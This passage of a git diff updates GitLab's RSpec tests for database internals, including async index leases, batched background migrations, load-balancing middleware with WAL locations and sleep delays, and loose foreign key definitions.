+ expect_any_instance_of(Thread).not_to receive(:join) # rubocop:disable RSpec/AnyInstanceOf
+
+ subject.start
+ end
+ end
+ end
end
describe '#stop' do
diff --git a/spec/lib/gitlab/database/async_indexes/index_creator_spec.rb b/spec/lib/gitlab/database/async_indexes/index_creator_spec.rb
index b4010d0fe8d..7ad3eb395a9 100644
--- a/spec/lib/gitlab/database/async_indexes/index_creator_spec.rb
+++ b/spec/lib/gitlab/database/async_indexes/index_creator_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe Gitlab::Database::AsyncIndexes::IndexCreator do
+ include ExclusiveLeaseHelpers
+
describe '#perform' do
subject { described_class.new(async_index) }
@@ -10,7 +12,18 @@ RSpec.describe Gitlab::Database::AsyncIndexes::IndexCreator do
let(:index_model) { Gitlab::Database::AsyncIndexes::PostgresAsyncIndex }
- let(:connection) { ApplicationRecord.connection }
+ let(:model) { Gitlab::Database.database_base_models[Gitlab::Database::PRIMARY_DATABASE_NAME] }
+ let(:connection) { model.connection }
+
+ let!(:lease) { stub_exclusive_lease(lease_key, :uuid, timeout: lease_timeout) }
+ let(:lease_key) { "gitlab/database/async_indexes/index_creator/#{Gitlab::Database::PRIMARY_DATABASE_NAME}" }
+ let(:lease_timeout) { described_class::TIMEOUT_PER_ACTION }
+
+ around do |example|
+ Gitlab::Database::SharedModel.using_connection(connection) do
+ example.run
+ end
+ end
context 'when the index already exists' do
before do
@@ -40,7 +53,7 @@ RSpec.describe Gitlab::Database::AsyncIndexes::IndexCreator do
end
it 'skips logic if not able to acquire exclusive lease' do
- expect(subject).to receive(:try_obtain_lease).and_return(false)
+ expect(lease).to receive(:try_obtain).ordered.and_return(false)
expect(connection).not_to receive(:execute).with(/CREATE INDEX/)
expect(async_index).not_to receive(:destroy)
diff --git a/spec/lib/gitlab/database/background_migration/batched_job_spec.rb b/spec/lib/gitlab/database/background_migration/batched_job_spec.rb
index 0182e0f7651..c4364826ee2 100644
--- a/spec/lib/gitlab/database/background_migration/batched_job_spec.rb
+++ b/spec/lib/gitlab/database/background_migration/batched_job_spec.rb
@@ -17,15 +17,19 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedJob, type: :model d
let_it_be(:stuck_job) { create(:batched_background_migration_job, status: :pending, updated_at: fixed_time - described_class::STUCK_JOBS_TIMEOUT) }
let_it_be(:failed_job) { create(:batched_background_migration_job, status: :failed, attempts: 1) }
- before_all do
- create(:batched_background_migration_job, status: :failed, attempts: described_class::MAX_ATTEMPTS)
- create(:batched_background_migration_job, status: :succeeded)
- end
+ let!(:max_attempts_failed_job) { create(:batched_background_migration_job, status: :failed, attempts: described_class::MAX_ATTEMPTS) }
+ let!(:succeeded_job) { create(:batched_background_migration_job, status: :succeeded) }
before do
travel_to fixed_time
end
+ describe '.except_succeeded' do
+ it 'returns not succeeded jobs' do
+ expect(described_class.except_succeeded).to contain_exactly(pending_job, running_job, stuck_job, failed_job, max_attempts_failed_job)
+ end
+ end
+
describe '.active' do
it 'returns active jobs' do
expect(described_class.active).to contain_exactly(pending_job, running_job, stuck_job)
diff --git a/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb b/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb
index a1c2634f59c..49714cfc4dd 100644
--- a/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb
+++ b/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb
@@ -23,6 +23,28 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigration, type: :m
subject { build(:batched_background_migration) }
it { is_expected.to validate_uniqueness_of(:job_arguments).scoped_to(:job_class_name, :table_name, :column_name) }
+
+ context 'when there are failed jobs' do
+ let(:batched_migration) { create(:batched_background_migration, status: :active, total_tuple_count: 100) }
+ let!(:batched_job) { create(:batched_background_migration_job, batched_migration: batched_migration, status: :failed) }
+
+ it 'raises an exception' do
+ expect { batched_migration.finished! }.to raise_error(ActiveRecord::RecordInvalid)
+
+ expect(batched_migration.reload.status).to eql 'active'
+ end
+ end
+
+ context 'when the jobs are completed' do
+ let(:batched_migration) { create(:batched_background_migration, status: :active, total_tuple_count: 100) }
+ let!(:batched_job) { create(:batched_background_migration_job, batched_migration: batched_migration, status: :succeeded) }
+
+ it 'finishes the migration' do
+ batched_migration.finished!
+
+ expect(batched_migration.status).to eql 'finished'
+ end
+ end
end
describe '.queue_order' do
@@ -214,14 +236,20 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigration, type: :m
end
end
- shared_examples_for 'an attr_writer that demodulizes assigned class names' do |attribute_name|
+ shared_examples_for 'an attr_writer that assigns class names' do |attribute_name|
let(:batched_migration) { build(:batched_background_migration) }
context 'when a module name exists' do
- it 'removes the module name' do
+ it 'keeps the class with module name' do
+ batched_migration.public_send(:"#{attribute_name}=", 'Foo::Bar')
+
+ expect(batched_migration[attribute_name]).to eq('Foo::Bar')
+ end
+
+ it 'removes leading namespace resolution operator' do
batched_migration.public_send(:"#{attribute_name}=", '::Foo::Bar')
- expect(batched_migration[attribute_name]).to eq('Bar')
+ expect(batched_migration[attribute_name]).to eq('Foo::Bar')
end
end
@@ -271,11 +299,11 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigration, type: :m
end
describe '#job_class_name=' do
- it_behaves_like 'an attr_writer that demodulizes assigned class names', :job_class_name
+ it_behaves_like 'an attr_writer that assigns class names', :job_class_name
end
describe '#batch_class_name=' do
- it_behaves_like 'an attr_writer that demodulizes assigned class names', :batch_class_name
+ it_behaves_like 'an attr_writer that assigns class names', :batch_class_name
end
describe '#migrated_tuple_count' do
diff --git a/spec/lib/gitlab/database/count/reltuples_count_strategy_spec.rb b/spec/lib/gitlab/database/count/reltuples_count_strategy_spec.rb
index 9d49db1f018..e7b9c5fcd02 100644
--- a/spec/lib/gitlab/database/count/reltuples_count_strategy_spec.rb
+++ b/spec/lib/gitlab/database/count/reltuples_count_strategy_spec.rb
@@ -5,24 +5,24 @@ require 'spec_helper'
RSpec.describe Gitlab::Database::Count::ReltuplesCountStrategy do
before do
create_list(:project, 3)
- create(:identity)
+ create_list(:ci_instance_variable, 2)
end
subject { described_class.new(models).count }
describe '#count' do
- let(:models) { [Project, Identity] }
+ let(:models) { [Project, Ci::InstanceVariable] }
context 'when reltuples is up to date' do
before do
- ActiveRecord::Base.connection.execute('ANALYZE projects')
- ActiveRecord::Base.connection.execute('ANALYZE identities')
+ Project.connection.execute('ANALYZE projects')
+ Ci::InstanceVariable.connection.execute('ANALYZE ci_instance_variables')
end
it 'uses statistics to do the count' do
models.each { |model| expect(model).not_to receive(:count) }
- expect(subject).to eq({ Project => 3, Identity => 1 })
+ expect(subject).to eq({ Project => 3, Ci::InstanceVariable => 2 })
end
end
@@ -31,7 +31,7 @@ RSpec.describe Gitlab::Database::Count::ReltuplesCountStrategy do
before do
models.each do |model|
- ActiveRecord::Base.connection.execute("ANALYZE #{model.table_name}")
+ model.connection.execute("ANALYZE #{model.table_name}")
end
end
@@ -45,7 +45,9 @@ RSpec.describe Gitlab::Database::Count::ReltuplesCountStrategy do
context 'insufficient permissions' do
it 'returns an empty hash' do
- allow(ActiveRecord::Base).to receive(:transaction).and_raise(PG::InsufficientPrivilege)
+ Gitlab::Database.database_base_models.each_value do |base_model|
+ allow(base_model).to receive(:transaction).and_raise(PG::InsufficientPrivilege)
+ end
expect(subject).to eq({})
end
diff --git a/spec/lib/gitlab/database/count/tablesample_count_strategy_spec.rb b/spec/lib/gitlab/database/count/tablesample_count_strategy_spec.rb
index 2f261aebf02..37d3e13a7ab 100644
--- a/spec/lib/gitlab/database/count/tablesample_count_strategy_spec.rb
+++ b/spec/lib/gitlab/database/count/tablesample_count_strategy_spec.rb
@@ -5,11 +5,12 @@ require 'spec_helper'
RSpec.describe Gitlab::Database::Count::TablesampleCountStrategy do
before do
create_list(:project, 3)
+ create_list(:ci_instance_variable, 2)
create(:identity)
create(:group)
end
- let(:models) { [Project, Identity, Group, Namespace] }
+ let(:models) { [Project, Ci::InstanceVariable, Identity, Group, Namespace] }
let(:strategy) { described_class.new(models) }
subject { strategy.count }
@@ -20,7 +21,8 @@ RSpec.describe Gitlab::Database::Count::TablesampleCountStrategy do
Project => threshold + 1,
Identity => threshold - 1,
Group => threshold + 1,
- Namespace => threshold + 1
+ Namespace => threshold + 1,
+ Ci::InstanceVariable => threshold + 1
}
end
@@ -43,12 +45,14 @@ RSpec.describe Gitlab::Database::Count::TablesampleCountStrategy do
expect(Project).not_to receive(:count)
expect(Group).not_to receive(:count)
expect(Namespace).not_to receive(:count)
+ expect(Ci::InstanceVariable).not_to receive(:count)
result = subject
expect(result[Project]).to eq(3)
expect(result[Group]).to eq(1)
# 1-Group, 3 namespaces for each project and 3 project namespaces for each project
expect(result[Namespace]).to eq(7)
+ expect(result[Ci::InstanceVariable]).to eq(2)
end
end
diff --git a/spec/lib/gitlab/database/load_balancing/configuration_spec.rb b/spec/lib/gitlab/database/load_balancing/configuration_spec.rb
index eef248afdf2..796c14c1038 100644
--- a/spec/lib/gitlab/database/load_balancing/configuration_spec.rb
+++ b/spec/lib/gitlab/database/load_balancing/configuration_spec.rb
@@ -140,6 +140,15 @@ RSpec.describe Gitlab::Database::LoadBalancing::Configuration do
end
describe '#service_discovery_enabled?' do
+ it 'returns false when running inside a Rake task' do
+ allow(Gitlab::Runtime).to receive(:rake?).and_return(true)
+
+ config = described_class.new(ActiveRecord::Base)
+ config.service_discovery[:record] = 'foo'
+
+ expect(config.service_discovery_enabled?).to eq(false)
+ end
+
it 'returns true when a record is configured' do
config = described_class.new(ActiveRecord::Base)
config.service_discovery[:record] = 'foo'
diff --git a/spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb b/spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb
index 37b83729125..3c7819c04b6 100644
--- a/spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb
+++ b/spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb
@@ -487,25 +487,9 @@ RSpec.describe Gitlab::Database::LoadBalancing::LoadBalancer, :request_store do
end
end
- describe 'primary connection re-use', :reestablished_active_record_base do
+ describe 'primary connection re-use', :reestablished_active_record_base, :add_ci_connection do
let(:model) { Ci::ApplicationRecord }
- around do |example|
- if Gitlab::Database.has_config?(:ci)
- example.run
- else
- # fake additional Database
- model.establish_connection(
- ActiveRecord::DatabaseConfigurations::HashConfig.new(Rails.env, 'ci', ActiveRecord::Base.connection_db_config.configuration_hash)
- )
-
- example.run
-
- # Cleanup connection_specification_name for Ci::ApplicationRecord
- model.remove_connection
- end
- end
-
describe '#read' do
it 'returns ci replica connection' do
expect { |b| lb.read(&b) }.to yield_with_args do |args|
diff --git a/spec/lib/gitlab/database/load_balancing/service_discovery_spec.rb b/spec/lib/gitlab/database/load_balancing/service_discovery_spec.rb
index e9bc465b1c7..f05910e5123 100644
--- a/spec/lib/gitlab/database/load_balancing/service_discovery_spec.rb
+++ b/spec/lib/gitlab/database/load_balancing/service_discovery_spec.rb
@@ -4,9 +4,10 @@ require 'spec_helper'
RSpec.describe Gitlab::Database::LoadBalancing::ServiceDiscovery do
let(:load_balancer) do
- Gitlab::Database::LoadBalancing::LoadBalancer.new(
- Gitlab::Database::LoadBalancing::Configuration.new(ActiveRecord::Base)
- )
+ configuration = Gitlab::Database::LoadBalancing::Configuration.new(ActiveRecord::Base)
+ configuration.service_discovery[:record] = 'localhost'
+
+ Gitlab::Database::LoadBalancing::LoadBalancer.new(configuration)
end
let(:service) do
@@ -86,6 +87,7 @@ RSpec.describe Gitlab::Database::LoadBalancing::ServiceDiscovery do
service.perform_service_discovery
end
end
+
context 'with failures' do
before do
allow(Gitlab::ErrorTracking).to receive(:track_exception)
diff --git a/spec/lib/gitlab/database/load_balancing/sidekiq_server_middleware_spec.rb b/spec/lib/gitlab/database/load_balancing/sidekiq_server_middleware_spec.rb
index de2ad662d16..31be3963565 100644
--- a/spec/lib/gitlab/database/load_balancing/sidekiq_server_middleware_spec.rb
+++ b/spec/lib/gitlab/database/load_balancing/sidekiq_server_middleware_spec.rb
@@ -5,7 +5,9 @@ require 'spec_helper'
RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware, :clean_gitlab_redis_queues do
let(:middleware) { described_class.new }
let(:worker) { worker_class.new }
- let(:job) { { "retry" => 3, "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e", 'database_replica_location' => '0/D525E3A8' } }
+ let(:location) {'0/D525E3A8' }
+ let(:wal_locations) { { Gitlab::Database::MAIN_DATABASE_NAME.to_sym => location } }
+ let(:job) { { "retry" => 3, "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e", 'wal_locations' => wal_locations } }
before do
skip_feature_flags_yaml_validation
@@ -60,9 +62,6 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware, :clean_
end
shared_examples_for 'replica is up to date' do |expected_strategy|
- let(:location) {'0/D525E3A8' }
- let(:wal_locations) { { Gitlab::Database::MAIN_DATABASE_NAME.to_sym => location } }
-
it 'does not stick to the primary', :aggregate_failures do
expect(ActiveRecord::Base.load_balancer)
.to receive(:select_up_to_date_host)
@@ -77,9 +76,7 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware, :clean_
include_examples 'load balancing strategy', expected_strategy
end
- shared_examples_for 'sticks based on data consistency' do |data_consistency|
- include_context 'data consistency worker class', data_consistency, :load_balancing_for_test_data_consistency_worker
-
+ shared_examples_for 'sticks based on data consistency' do
context 'when load_balancing_for_test_data_consistency_worker is disabled' do
before do
stub_feature_flags(load_balancing_for_test_data_consistency_worker: false)
@@ -116,23 +113,78 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware, :clean_
it_behaves_like 'replica is up to date', 'replica'
end
- context 'when legacy wal location is set' do
- let(:job) { { 'job_id' => 'a180b47c-3fd6-41b8-81e9-34da61c3400e', 'database_write_location' => '0/D525E3A8' } }
+ context 'when database location is not set' do
+ let(:job) { { 'job_id' => 'a180b47c-3fd6-41b8-81e9-34da61c3400e' } }
- before do
- allow(ActiveRecord::Base.load_balancer)
- .to receive(:select_up_to_date_host)
- .with('0/D525E3A8')
- .and_return(true)
- end
+ include_examples 'stick to the primary', 'primary_no_wal'
+ end
+ end
- it_behaves_like 'replica is up to date', 'replica'
+ shared_examples_for 'sleeps when necessary' do
+ context 'when WAL locations are blank', :freeze_time do
+ let(:job) { { "retry" => 3, "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e", "wal_locations" => {}, "created_at" => Time.current.to_f - (described_class::MINIMUM_DELAY_INTERVAL_SECONDS - 0.3) } }
+
+ it 'does not sleep' do
+ expect(middleware).not_to receive(:sleep)
+
+ run_middleware
+ end
end
- context 'when database location is not set' do
- let(:job) { { 'job_id' => 'a180b47c-3fd6-41b8-81e9-34da61c3400e' } }
+ context 'when WAL locations are present', :freeze_time do
+ let(:job) { { "retry" => 3, "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e", 'wal_locations' => wal_locations, "created_at" => Time.current.to_f - elapsed_time } }
- include_examples 'stick to the primary', 'primary_no_wal'
+ context 'when delay interval has not elapsed' do
+ let(:elapsed_time) { described_class::MINIMUM_DELAY_INTERVAL_SECONDS - 0.3 }
+
+ context 'when replica is up to date' do
+ before do
+ Gitlab::Database::LoadBalancing.each_load_balancer do |lb|
+ allow(lb).to receive(:select_up_to_date_host).and_return(true)
+ end
+ end
+
+ it 'does not sleep' do
+ expect(middleware).not_to receive(:sleep)
+
+ run_middleware
+ end
+ end
+
+ context 'when replica is not up to date' do
+ before do
+ Gitlab::Database::LoadBalancing.each_load_balancer do |lb|
+ allow(lb).to receive(:select_up_to_date_host).and_return(false, true)
+ end
+ end
+
+ it 'sleeps until the minimum delay is reached' do
+ expect(middleware).to receive(:sleep).with(be_within(0.01).of(described_class::MINIMUM_DELAY_INTERVAL_SECONDS - elapsed_time))
+
+ run_middleware
+ end
+ end
+ end
+
+ context 'when delay interval has elapsed' do
+ let(:elapsed_time) { described_class::MINIMUM_DELAY_INTERVAL_SECONDS + 0.3 }
+
+ it 'does not sleep' do
+ expect(middleware).not_to receive(:sleep)
+
+ run_middleware
+ end
+ end
+
+ context 'when created_at is in the future' do
+ let(:elapsed_time) { -5 }
+
+ it 'does not sleep' do
+ expect(middleware).not_to receive(:sleep)
+
+ run_middleware
+ end
+ end
end
end
@@ -146,10 +198,24 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware, :clean_
include_context 'data consistency worker class', :always, :load_balancing_for_test_data_consistency_worker
include_examples 'stick to the primary', 'primary'
+
+ context 'when delay interval has not elapsed', :freeze_time do
+ let(:job) { { "retry" => 3, "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e", 'wal_locations' => wal_locations, "created_at" => Time.current.to_f - elapsed_time } }
+ let(:elapsed_time) { described_class::MINIMUM_DELAY_INTERVAL_SECONDS - 0.3 }
+
+ it 'does not sleep' do
+ expect(middleware).not_to receive(:sleep)
+
+ run_middleware
+ end
+ end
end
context 'when worker data consistency is :delayed' do
- include_examples 'sticks based on data consistency', :delayed
+ include_context 'data consistency worker class', :delayed, :load_balancing_for_test_data_consistency_worker
+
+ include_examples 'sticks based on data consistency'
+ include_examples 'sleeps when necessary'
context 'when replica is not up to date' do
before do
@@ -177,7 +243,7 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware, :clean_
end
context 'when job is retried' do
- let(:job) { { "retry" => 3, "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e", 'database_replica_location' => '0/D525E3A8', 'retry_count' => 0 } }
+ let(:job) { { "retry" => 3, "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e", 'wal_locations' => wal_locations, 'retry_count' => 0 } }
context 'and replica still lagging behind' do
include_examples 'stick to the primary', 'primary'
@@ -195,7 +261,10 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware, :clean_
end
context 'when worker data consistency is :sticky' do
- include_examples 'sticks based on data consistency', :sticky
+ include_context 'data consistency worker class', :sticky, :load_balancing_for_test_data_consistency_worker
+
+ include_examples 'sticks based on data consistency'
+ include_examples 'sleeps when necessary'
context 'when replica is not up to date' do
before do
@@ -255,7 +324,7 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware, :clean_
end
def run_middleware
- middleware.call(worker, job, double(:queue)) { yield }
+ middleware.call(worker, job, double(:queue)) { yield if block_given? }
rescue described_class::JobReplicaNotUpToDate
# we silence errors here that cause the job to retry
end
diff --git a/spec/lib/gitlab/database/load_balancing/sticking_spec.rb b/spec/lib/gitlab/database/load_balancing/sticking_spec.rb
index d88554614cf..f3139bb1b4f 100644
--- a/spec/lib/gitlab/database/load_balancing/sticking_spec.rb
+++ b/spec/lib/gitlab/database/load_balancing/sticking_spec.rb
@@ -256,15 +256,6 @@ RSpec.describe Gitlab::Database::LoadBalancing::Sticking, :redis do
expect(sticking.last_write_location_for(:user, 4)).to be_nil
end
-
- it 'removes the old key' do
- Gitlab::Redis::SharedState.with do |redis|
- redis.set(sticking.send(:old_redis_key_for, :user, 4), 'foo', ex: 30)
- end
-
- sticking.unstick(:user, 4)
- expect(sticking.last_write_location_for(:user, 4)).to be_nil
- end
end
describe '#last_write_location_for' do
@@ -273,14 +264,6 @@ RSpec.describe Gitlab::Database::LoadBalancing::Sticking, :redis do
expect(sticking.last_write_location_for(:user, 4)).to eq('foo')
end
-
- it 'falls back to reading the old key' do
- Gitlab::Redis::SharedState.with do |redis|
- redis.set(sticking.send(:old_redis_key_for, :user, 4), 'foo', ex: 30)
- end
-
- expect(sticking.last_write_location_for(:user, 4)).to eq('foo')
- end
end
describe '#redis_key_for' do
diff --git a/spec/lib/gitlab/database/load_balancing_spec.rb b/spec/lib/gitlab/database/load_balancing_spec.rb
index 65ffe539910..45878b2e266 100644
--- a/spec/lib/gitlab/database/load_balancing_spec.rb
+++ b/spec/lib/gitlab/database/load_balancing_spec.rb
@@ -38,6 +38,24 @@ RSpec.describe Gitlab::Database::LoadBalancing do
end
end
+ describe '.primary_only?' do
+ it 'returns true if all load balancers have no replicas' do
+ described_class.each_load_balancer do |lb|
+ allow(lb).to receive(:primary_only?).and_return(true)
+ end
+
+ expect(described_class.primary_only?).to eq(true)
+ end
+
+ it 'returns false if at least one has replicas' do
+ described_class.each_load_balancer.with_index do |lb, index|
+ allow(lb).to receive(:primary_only?).and_return(index != 0)
+ end
+
+ expect(described_class.primary_only?).to eq(false)
+ end
+ end
+
describe '.release_hosts' do
it 'releases the host of every load balancer' do
described_class.each_load_balancer do |lb|
diff --git a/spec/lib/gitlab/database/loose_foreign_keys_spec.rb b/spec/lib/gitlab/database/loose_foreign_keys_spec.rb
new file mode 100644
index 00000000000..13f2d31bc32
--- /dev/null
+++ b/spec/lib/gitlab/database/loose_foreign_keys_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LooseForeignKeys do
+ describe 'verify all definitions' do
+ subject(:definitions) { described_class.definitions }
+
+ it 'all definitions have assigned a known gitlab_schema and on_delete' do
+ is_expected.to all(have_attributes(
+ options: a_hash_including(
+ column: be_a(String),
+ gitlab_schema: be_in(Gitlab::Database.schemas_to_base_models.symbolize_keys.keys),
+ on_delete: be_in([:async_delete, :async_nullify])
+ ),
+ from_table: be_a(String),
+ to_table: be_a(String)
+ ))
+ end
+
+ describe 'ensuring database integrity' do
+ def base_models_for(table)
+ parent_table_schema = Gitlab::Database::GitlabSchema.table_schema(table)
+ Gitlab::Database.schemas_to_base_models.fetch(parent_table_schema)
+ end
+
+ it 'all `to_table` tables are present' do
+ definitions.each do |definition|
+ base_models_for(definition.to_table).each do |model|
+ expect(model.connection).to be_table_exist(definition.to_table)
+ end
+ end
+ end
+
+ it 'all `from_table` tables are present' do
+ definitions.each do |definition|
+ base_models_for(definition.from_table).each do |model|
+ expect(model.connection).to be_table_exist(definition.from_table)
+ expect(model.connection).to be_column_exist(definition.from_table, definition.column)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/migration_helpers/loose_foreign_key_helpers_spec.rb b/spec/lib/gitlab/database/migration_helpers/loose_foreign_key_helpers_spec.rb
index f1dbfbbff18..25fc676d09e 100644
--- a/spec/lib/gitlab/database/migration_helpers/loose_foreign_key_helpers_spec.rb
+++ b/spec/lib/gitlab/database/migration_helpers/loose_foreign_key_helpers_spec.rb
@@ -47,11 +47,16 @@ RSpec.describe Gitlab::Database::MigrationHelpers::LooseForeignKeyHelpers do
record_to_be_deleted.delete
expect(LooseForeignKeys::DeletedRecord.count).to eq(1)
- deleted_record = LooseForeignKeys::DeletedRecord.all.first
+
+ arel_table = LooseForeignKeys::DeletedRecord.arel_table
+ deleted_record = LooseForeignKeys::DeletedRecord
+ .select(arel_table[Arel.star], arel_table[:partition].as('partition_number')) # aliasing the ignored partition column to partition_number
+ .all
+ .first
expect(deleted_record.primary_key_value).to eq(record_to_be_deleted.id)
expect(deleted_record.fully_qualified_table_name).to eq('public._test_loose_fk_test_table')
- expect(deleted_record.partition).to eq(1)
+ expect(deleted_record.partition_number).to eq(1)
end
it 'stores multiple record deletions' do
diff --git a/spec/lib/gitlab/database/migration_helpers_spec.rb b/spec/lib/gitlab/database/migration_helpers_spec.rb
index ea755f5a368..7f80bed04a4 100644
--- a/spec/lib/gitlab/database/migration_helpers_spec.rb
+++ b/spec/lib/gitlab/database/migration_helpers_spec.rb
@@ -2431,7 +2431,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
let(:issues) { table(:issues) }
def setup
- namespace = namespaces.create!(name: 'foo', path: 'foo')
+ namespace = namespaces.create!(name: 'foo', path: 'foo', type: Namespaces::UserNamespace.sti_name)
projects.create!(namespace_id: namespace.id)
end
diff --git a/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb b/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb
index e42a6c970ea..99c7d70724c 100644
--- a/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb
+++ b/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb
@@ -7,78 +7,6 @@ RSpec.describe Gitlab::Database::Migrations::BackgroundMigrationHelpers do
ActiveRecord::Migration.new.extend(described_class)
end
- describe '#bulk_queue_background_migration_jobs_by_range' do
- context 'when the model has an ID column' do
- let!(:id1) { create(:user).id }
- let!(:id2) { create(:user).id }
- let!(:id3) { create(:user).id }
-
- before do
- User.class_eval do
- include EachBatch
- end
- end
-
- context 'with enough rows to bulk queue jobs more than once' do
- before do
- stub_const('Gitlab::Database::Migrations::BackgroundMigrationHelpers::JOB_BUFFER_SIZE', 1)
- end
-
- it 'queues jobs correctly' do
- Sidekiq::Testing.fake! do
- model.bulk_queue_background_migration_jobs_by_range(User, 'FooJob', batch_size: 2)
-
- expect(BackgroundMigrationWorker.jobs[0]['args']).to eq(['FooJob', [id1, id2]])
- expect(BackgroundMigrationWorker.jobs[1]['args']).to eq(['FooJob', [id3, id3]])
- end
- end
-
- it 'queues jobs in groups of buffer size 1' do
- expect(BackgroundMigrationWorker).to receive(:bulk_perform_async).with([['FooJob', [id1, id2]]])
- expect(BackgroundMigrationWorker).to receive(:bulk_perform_async).with([['FooJob', [id3, id3]]])
-
- model.bulk_queue_background_migration_jobs_by_range(User, 'FooJob', batch_size: 2)
- end
- end
-
- context 'with not enough rows to bulk queue jobs more than once' do
- it 'queues jobs correctly' do
- Sidekiq::Testing.fake! do
- model.bulk_queue_background_migration_jobs_by_range(User, 'FooJob', batch_size: 2)
-
- expect(BackgroundMigrationWorker.jobs[0]['args']).to eq(['FooJob', [id1, id2]])
- expect(BackgroundMigrationWorker.jobs[1]['args']).to eq(['FooJob', [id3, id3]])
- end
- end
-
- it 'queues jobs in bulk all at once (big buffer size)' do
- expect(BackgroundMigrationWorker).to receive(:bulk_perform_async).with([['FooJob', [id1, id2]],
- ['FooJob', [id3, id3]]])
-
- model.bulk_queue_background_migration_jobs_by_range(User, 'FooJob', batch_size: 2)
- end
- end
-
- context 'without specifying batch_size' do
- it 'queues jobs correctly' do
- Sidekiq::Testing.fake! do
- model.bulk_queue_background_migration_jobs_by_range(User, 'FooJob')
-
- expect(BackgroundMigrationWorker.jobs[0]['args']).to eq(['FooJob', [id1, id3]])
- end
- end
- end
- end
-
- context "when the model doesn't have an ID column" do
- it 'raises error (for now)' do
- expect do
- model.bulk_queue_background_migration_jobs_by_range(ProjectAuthorization, 'FooJob')
- end.to raise_error(StandardError, /does not have an ID/)
- end
- end
- end
-
describe '#queue_background_migration_jobs_by_range_at_intervals' do
context 'when the model has an ID column' do
let!(:id1) { create(:user).id }
@@ -354,161 +282,6 @@ RSpec.describe Gitlab::Database::Migrations::BackgroundMigrationHelpers do
end
end
- describe '#queue_batched_background_migration' do
- let(:pgclass_info) { instance_double('Gitlab::Database::PgClass', cardinality_estimate: 42) }
-
- before do
- allow(Gitlab::Database::PgClass).to receive(:for_table).and_call_original
- end
-
- context 'when such migration already exists' do
- it 'does not create duplicate migration' do
- create(
- :batched_background_migration,
- job_class_name: 'MyJobClass',
- table_name: :projects,
- column_name: :id,
- interval: 10.minutes,
- min_value: 5,
- max_value: 1005,
- batch_class_name: 'MyBatchClass',
- batch_size: 200,
- sub_batch_size: 20,
- job_arguments: [[:id], [:id_convert_to_bigint]]
- )
-
- expect do
- model.queue_batched_background_migration(
- 'MyJobClass',
- :projects,
- :id,
- [:id], [:id_convert_to_bigint],
- job_interval: 5.minutes,
- batch_min_value: 5,
- batch_max_value: 1000,
- batch_class_name: 'MyBatchClass',
- batch_size: 100,
- sub_batch_size: 10)
- end.not_to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }
- end
- end
-
- it 'creates the database record for the migration' do
- expect(Gitlab::Database::PgClass).to receive(:for_table).with(:projects).and_return(pgclass_info)
-
- expect do
- model.queue_batched_background_migration(
- 'MyJobClass',
- :projects,
- :id,
- job_interval: 5.minutes,
- batch_min_value: 5,
- batch_max_value: 1000,
- batch_class_name: 'MyBatchClass',
- batch_size: 100,
- sub_batch_size: 10)
- end.to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }.by(1)
-
- expect(Gitlab::Database::BackgroundMigration::BatchedMigration.last).to have_attributes(
- job_class_name: 'MyJobClass',
- table_name: 'projects',
- column_name: 'id',
- interval: 300,
- min_value: 5,
- max_value: 1000,
- batch_class_name: 'MyBatchClass',
- batch_size: 100,
- sub_batch_size: 10,
- job_arguments: %w[],
- status: 'active',
- total_tuple_count: pgclass_info.cardinality_estimate)
- end
-
- context 'when the job interval is lower than the minimum' do
- let(:minimum_delay) { described_class::BATCH_MIN_DELAY }
-
- it 'sets the job interval to the minimum value' do
- expect do
- model.queue_batched_background_migration('MyJobClass', :events, :id, job_interval: minimum_delay - 1.minute)
- end.to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }.by(1)
-
- created_migration = Gitlab::Database::BackgroundMigration::BatchedMigration.last
-
- expect(created_migration.interval).to eq(minimum_delay)
- end
- end
-
- context 'when additional arguments are passed to the method' do
- it 'saves the arguments on the database record' do
- expect do
- model.queue_batched_background_migration(
- 'MyJobClass',
- :projects,
- :id,
- 'my',
- 'arguments',
- job_interval: 5.minutes,
- batch_max_value: 1000)
- end.to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }.by(1)
-
- expect(Gitlab::Database::BackgroundMigration::BatchedMigration.last).to have_attributes(
- job_class_name: 'MyJobClass',
- table_name: 'projects',
- column_name: 'id',
- interval: 300,
- min_value: 1,
- max_value: 1000,
- job_arguments: %w[my arguments])
- end
- end
-
